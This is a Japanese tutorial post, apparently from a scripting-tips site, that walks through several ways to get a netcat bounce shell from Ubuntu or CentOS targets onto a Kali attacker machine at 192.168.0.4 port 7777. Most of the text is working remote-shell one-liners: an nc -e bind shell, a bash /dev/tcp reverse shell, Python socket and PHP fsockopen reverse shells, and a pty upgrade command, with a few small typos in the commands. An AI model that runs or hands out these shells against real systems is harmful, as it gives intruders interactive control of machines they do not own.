1. ホーム
  2. スクリプト・コラム
  3. リナックスシェル

NCバウンスシェルのいくつかの方式を説明

2022-02-08 08:32:11

ubuntuならCentOSが対象サーバーシステムです

kaliは攻撃者のシステムで、ip: 192.168.0.4、ポート7777はオープンで、空きがない

最終的にはubuntu, CentOSのシェルをkaliにバウンスします

フォワードバウンスシェル

ubuntuまたはCentOSの場合、次のように入力します。

nc -lvp 7777 -e /bin/bash

kali では、次のように入力します。

nc ip 7777


Positive bounceは、まずターゲットマシンでncコマンドを実行し、その後kaliでnc listenすることでバウンスバックするシェルです。

ターゲットマシーンにncがインストールされていることが必要です。

リバースバウンスシェル

方法1:bashバウンス

bash -i >& /dev/tcp/ip/port 0>&1


しかし、まずkaliでncを使い、ポートをリッスンする必要があります。

nc -lvp 7777


この方法はubuntuでは正常にバウンスしませんが、CentOSでは正常にバウンスします。

方法2: pythonバウンス

シェルをバウンスするコマンドは以下の通りです。

コピーコード コードは以下の通りです。
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s. fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

まず、ncを使ってkaliのポートをリッスンします。

nc -lvp 7777

CentOSやubuntuでpythonを使用して逆接続に行くには、次のように入力します。

コピーコード コードは以下の通りです。
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os. dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

この方法は、ubuntuとLinuxの両方で正常にバウンスします。

方法3

まずkaliでncリスナーを入力します。

nc -lvp 7777

CentOSやubuntuでncを使って逆接続するには、以下のコマンドを実行します。

nc -e /bin/bash 192.168.0.4 7777


方法4:phpバウンスシェル

まずkaliで、タイプします。

nc -lvp 7777


そして、ターゲットマシーンで、タイプします。

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'


または

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'


phpバウンスシェルのこれらのメソッドは、exec関数を使用する前にphpがsafe_modeオプションをオフにする必要があることに注意しましょう。

 バウンス後に正常でないシェルに遭遇するためには、コマンドを使用します。

python -c 'import pty;pty.spawn("/bin/bash")'


通常のシェルに変換します。

NCバウンスシェルのいくつかの方法について、今回で終了です。NC bounce shellの詳細については、Scripting Houseの過去記事を検索するか、以下の関連記事を引き続き参照してください。